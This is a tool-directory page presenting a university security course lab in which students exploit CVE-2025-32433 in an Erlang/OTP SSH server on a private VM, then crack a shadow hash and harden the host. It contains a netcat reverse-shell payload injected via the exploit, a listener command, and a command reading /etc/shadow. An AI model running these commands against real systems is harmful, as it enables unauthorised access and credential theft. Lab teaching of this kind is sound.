Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Exploiting-a-vulnerability-using-reverse-shell — This project simulates a real-world attack-and-defend scenario across two virtual machines. You will exploit a critical pre-authentication RCE vulnerability (CVE-2025-32433) in an Erlang/OTP SSH server, crack extracted password hashes, and then harden the victim machine with firewall rules and patching. | Kitploit
Tools/GitHubGitHub/dampedcoast/exploiting-a-vulnerability-using-reverse-shell
Password CrackingVulnerability AnalysisExploitationNetwork SecurityCTFPenetration TestingLearning & EducationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

This project simulates a real-world attack-and-defend scenario across two virtual machines. You will exploit a critical pre-authentication RCE vulnerability (CVE-2025-32433) in an Erlang/OTP SSH server, crack extracted password hashes, and then harden the victim machine with firewall rules and patching.

GitHub
dampedcoast/exploiting-a-vulnerability-using-reverse-shell

Exploiting-a-vulnerability-using-reverse-shell

View Repository
2 months agoNot yet reviewed
Share

Information Security Fundamentals — Spring 2026 Project

Total Points: 20 | Deadline: No late submissions accepted

Overview

This project simulates a real-world attack-and-defend scenario across two virtual machines. You will exploit a critical pre-authentication RCE vulnerability (CVE-2025-32433) in an Erlang/OTP SSH server, crack extracted password hashes, and then harden the victim machine with firewall rules and patching.

RoleOS
AttackerKali Linux
VictimUbuntu/Debian (Erlang/OTP SSH v27.3.2)

Files

FileDescription
Debian-1.ovaPre-built victim VM image — download separately, see Resources (too large for GitHub)

Resources

  • Victim VM (Debian-1.ova): Download link — too large (~3GB) to host on GitHub. Download separately and import into VirtualBox/VMware as described below.
  • Wordlist (rockyou_txt.txt): included in this repository, used for the password cracking step in Part 2.

Setup

  1. Import VMs — Load Debian-1.ova and your Kali Linux VM into VirtualBox/VMware.
  2. Network — Set both VMs to Host-Only Adapter so they can communicate privately.
  3. Victim IP — Boot the victim and run ifconfig to find its IP (typically in 192.168.56.0/24).

Part 1 — Vulnerable SSH Server Deployment & Exploitation (10 pts)

Reconnaissance

root@kitploit:~
nmap -p 2222 -sV -A <victim-IP>

Document open ports, service versions, and Erlang signatures.

Exploit CVE-2025-32433 (Pre-Auth RCE)

Temporarily switch Kali to NAT to clone the repo, then switch back to Host-Only.

root@kitploit:~
git clone https://github.com/ProDefense/CVE-2025-32433.git
cd CVE-2025-32433
sudo nano CVE-2025-32433.py

Edit the script — set HOST = "<victim-IP>" and update the payload:

root@kitploit:~
command='os:cmd("nc -e /bin/bash <Kali-IP> 4444").'

Terminal 1 (Kali) — start listener:

root@kitploit:~
nc -lvnp 4444

Terminal 2 (Kali) — launch exploit:

root@kitploit:~
python3 CVE-2025-32433.py

In the reverse shell, run whoami and hostname to confirm access.


Part 2 — Post-Exploitation & Password Cracking (5 pts)

Extract and Crack the Hash

root@kitploit:~
# On victim (via reverse shell)
cat /etc/shadow | grep testuser > hash.txt

# On Kali
john --wordlist=rockyou_txt.txt hash.txt

Document the hash format (e.g., $6$ = SHA-512), time taken, and the recovered plaintext password.

Find the Flag

root@kitploit:~
find / -iname "flag.txt" 2>/dev/null
cat /path/to/flag.txt

Part 3 — Controls & Remediation (5 pts)

Block the Attack Vector (iptables)

root@kitploit:~
sudo iptables -A INPUT -p tcp --dport 2222 -j DROP

Re-run the Nmap scan and the exploit from Kali — document that port 2222 is now "Filtered" and the exploit fails.

Patch the Vulnerability

Document the steps to upgrade Erlang/OTP to v27.3.3 or later, which contains the fix for CVE-2025-32433.


Deliverables

  • Full report with screenshots of: scan, exploit execution, reverse shell (whoami/hostname), flag capture
  • Firewall before/after documentation (Nmap results showing port state change)
  • Written reflection explaining why Pre-Authentication RCEs are significantly more dangerous than post-auth exploits

CVE Reference

CVE-2025-32433 — Critical pre-authentication remote code execution in Erlang/OTP SSH server. Exploitable by sending malformed SSH packets before any credential exchange, giving an unauthenticated attacker full shell access.

Download Tool
Project Spring 2026 - Google Docs.pdf
Full project instructions with deliverables
rockyou_txt.txtWordlist used with John the Ripper to crack the extracted password hash